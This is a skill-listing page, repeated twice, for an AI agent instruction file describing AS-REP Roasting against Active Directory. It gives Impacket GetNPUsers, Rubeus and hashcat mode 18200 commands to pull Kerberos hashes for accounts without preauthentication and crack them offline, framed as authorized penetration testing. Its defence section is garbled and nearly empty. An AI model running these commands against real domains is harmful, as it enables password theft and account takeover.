ad-asreproast-attack

Name: ad-asreproast-attack
Author: ShulkwiSEC

18stars5forks

How to install ad-asreproast-attack?

shulkwisec/bb-huge/ad-asreproast-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-asreproast-attack

Installs into the current project.

Summary

Exploit Active Directory environments using AS-REP Roasting. This skill details how to identify user accounts with the 'Do not require Kerberos preauthentication' (DONT_REQ_PREAUTH) attribute set, request their AS-REP tickes without a password, and crack the encrypted component o

Files · 1

View on GitHub

SKILL.md

1	# AS-REP Roasting Attack
2
3	## When to Use
4	- During the early phases of an Active Directory penetration test when attempting to gain initial domain user access, or seeking to escalate privileges by cracking passwords of service or admin accounts.
5	- This attack does not require a valid domain user account to perform, only network access to the Domain Controller and a list of valid usernames. (Alternatively, if you have a domain account, you can automatically query LDAP for vulnerable users).
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying Vulnerable Accounts (With Domain Access)
17
18	If you already have a low-privileged domain account, you can query LDAP to find accounts with `DONT_REQ_PREAUTH` enabled.
19
20	```bash
21	# Concept: Use Impacket to query AD and request TGTs for vulnerable accounts impacket-GetNPUsers target.local/low_priv_user:Password123! -request -format hashcat -outputfile asrep_hashes.txt
22	```
23
24	### Phase 2: Targeted Extraction (Without Domain Access)
25
26	If you have a list of usernames but no domain credentials, you can attempt to roast them blindly against the Domain Controller.
27
28	```bash
29	# impacket-GetNPUsers target.local/ -usersfile users.txt -format hashcat -dc-ip 192.168.1.10 -outputfile asrep_hashes.txt
30	```
31
32	### Phase 3: Extracting Hashes from a Windows Host (Rubeus)
33
34	```powershell
35	# Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
36	```
37
38	### Phase 4: Offline Password Cracking
39
40	Extract the hashes from `asrep_hashes.txt` and run them through Hashcat.
41	Hashcat mode for AS-REP Roast is `18200` (Kerberos 5, etype 23, AS-REP).
42
43	```bash
44	# hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force
45	```
46
47	#### Decision Point 🔀
48	```mermaid
49	flowchart TD
50	A[Identify AD Target ] --> B{Have Valid AD Credentials? ]}
51	B -->\|Yes\| C[LDAP Query DONT_REQ_PREAUTH ]
52	B -->\|No\| D[Brute Force Users List ]
53	C --> E[Extract & Crack Hash ]
54	D --> E
55	```
56
57	## 🔵 Blue Team Detection & Defense
58	- Audit Account Policies: Monitor Kerberos Event ID 4768: Strong Password Policies: Key Concepts
59	\| Concept \| Description \|
60	\|---------\|-------------\|
61	## Output Format
62	```
63	Ad Asreproast Attack — Assessment Report
64	============================================================
65	Target: [Target identifier]
66	Assessor: [Operator name]
67	Date: [Assessment date]
68	Scope: [Authorized scope]
69	MITRE ATT&CK: [Relevant technique IDs]
70
71	Findings Summary:
72	[Finding 1]: [Severity] — [Brief description]
73	[Finding 2]: [Severity] — [Brief description]
74
75	Detailed Results:
76	Phase 1: [Phase name]
77	- Result: [Outcome]
78	- Evidence: [Screenshot/log reference]
79	- Impact: [Business impact assessment]
80
81	Phase 2: [Phase name]
82	- Result: [Outcome]
83	- Evidence: [Screenshot/log reference]
84	- Impact: [Business impact assessment]
85
86	Risk Rating: [Critical/High/Medium/Low/Informational]
87	Recommendations:
88	1. [Immediate remediation step]
89	2. [Long-term hardening measure]
90	3. [Monitoring/detection improvement]
91	```
92
93
94	## 📚 Shared Resources
95	> For cross-cutting methodology applicable to all vulnerability classes, see:
96	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
97	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
98	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
99
100	## References
101	- Impacket Docs: [GetNPUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py)
102	- SpecterOps: [Roasting AS-REPs](https://specterops.io/wp-content/uploads/sites/3/2019/11/Roasting_AS-REPs.pdf)

People who liked this also viewed

6 picks

Type

ad-asreproast-attack

18stars5forks

View on GitHub

How to install ad-asreproast-attack?

shulkwisec/bb-huge/ad-asreproast-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-asreproast-attack

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AS-REP Roasting Attack
2
3	## When to Use
4	- During the early phases of an Active Directory penetration test when attempting to gain initial domain user access, or seeking to escalate privileges by cracking passwords of service or admin accounts.
5	- This attack does not require a valid domain user account to perform, only network access to the Domain Controller and a list of valid usernames. (Alternatively, if you have a domain account, you can automatically query LDAP for vulnerable users).
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying Vulnerable Accounts (With Domain Access)
17
18	If you already have a low-privileged domain account, you can query LDAP to find accounts with `DONT_REQ_PREAUTH` enabled.
19
20	```bash
21	# Concept: Use Impacket to query AD and request TGTs for vulnerable accounts impacket-GetNPUsers target.local/low_priv_user:Password123! -request -format hashcat -outputfile asrep_hashes.txt
22	```
23
24	### Phase 2: Targeted Extraction (Without Domain Access)
25
26	If you have a list of usernames but no domain credentials, you can attempt to roast them blindly against the Domain Controller.
27
28	```bash
29	# impacket-GetNPUsers target.local/ -usersfile users.txt -format hashcat -dc-ip 192.168.1.10 -outputfile asrep_hashes.txt
30	```
31
32	### Phase 3: Extracting Hashes from a Windows Host (Rubeus)
33
34	```powershell
35	# Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
36	```
37
38	### Phase 4: Offline Password Cracking
39
40	Extract the hashes from `asrep_hashes.txt` and run them through Hashcat.
41	Hashcat mode for AS-REP Roast is `18200` (Kerberos 5, etype 23, AS-REP).
42
43	```bash
44	# hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force
45	```
46
47	#### Decision Point 🔀
48	```mermaid
49	flowchart TD
50	A[Identify AD Target ] --> B{Have Valid AD Credentials? ]}
51	B -->\|Yes\| C[LDAP Query DONT_REQ_PREAUTH ]
52	B -->\|No\| D[Brute Force Users List ]
53	C --> E[Extract & Crack Hash ]
54	D --> E
55	```
56
57	## 🔵 Blue Team Detection & Defense
58	- Audit Account Policies: Monitor Kerberos Event ID 4768: Strong Password Policies: Key Concepts
59	\| Concept \| Description \|
60	\|---------\|-------------\|
61	## Output Format
62	```
63	Ad Asreproast Attack — Assessment Report
64	============================================================
65	Target: [Target identifier]
66	Assessor: [Operator name]
67	Date: [Assessment date]
68	Scope: [Authorized scope]
69	MITRE ATT&CK: [Relevant technique IDs]
70
71	Findings Summary:
72	[Finding 1]: [Severity] — [Brief description]
73	[Finding 2]: [Severity] — [Brief description]
74
75	Detailed Results:
76	Phase 1: [Phase name]
77	- Result: [Outcome]
78	- Evidence: [Screenshot/log reference]
79	- Impact: [Business impact assessment]
80
81	Phase 2: [Phase name]
82	- Result: [Outcome]
83	- Evidence: [Screenshot/log reference]
84	- Impact: [Business impact assessment]
85
86	Risk Rating: [Critical/High/Medium/Low/Informational]
87	Recommendations:
88	1. [Immediate remediation step]
89	2. [Long-term hardening measure]
90	3. [Monitoring/detection improvement]
91	```
92
93
94	## 📚 Shared Resources
95	> For cross-cutting methodology applicable to all vulnerability classes, see:
96	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
97	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
98	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
99
100	## References
101	- Impacket Docs: [GetNPUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py)
102	- SpecterOps: [Roasting AS-REPs](https://specterops.io/wp-content/uploads/sites/3/2019/11/Roasting_AS-REPs.pdf)

People who liked this also viewed

6 picks

Type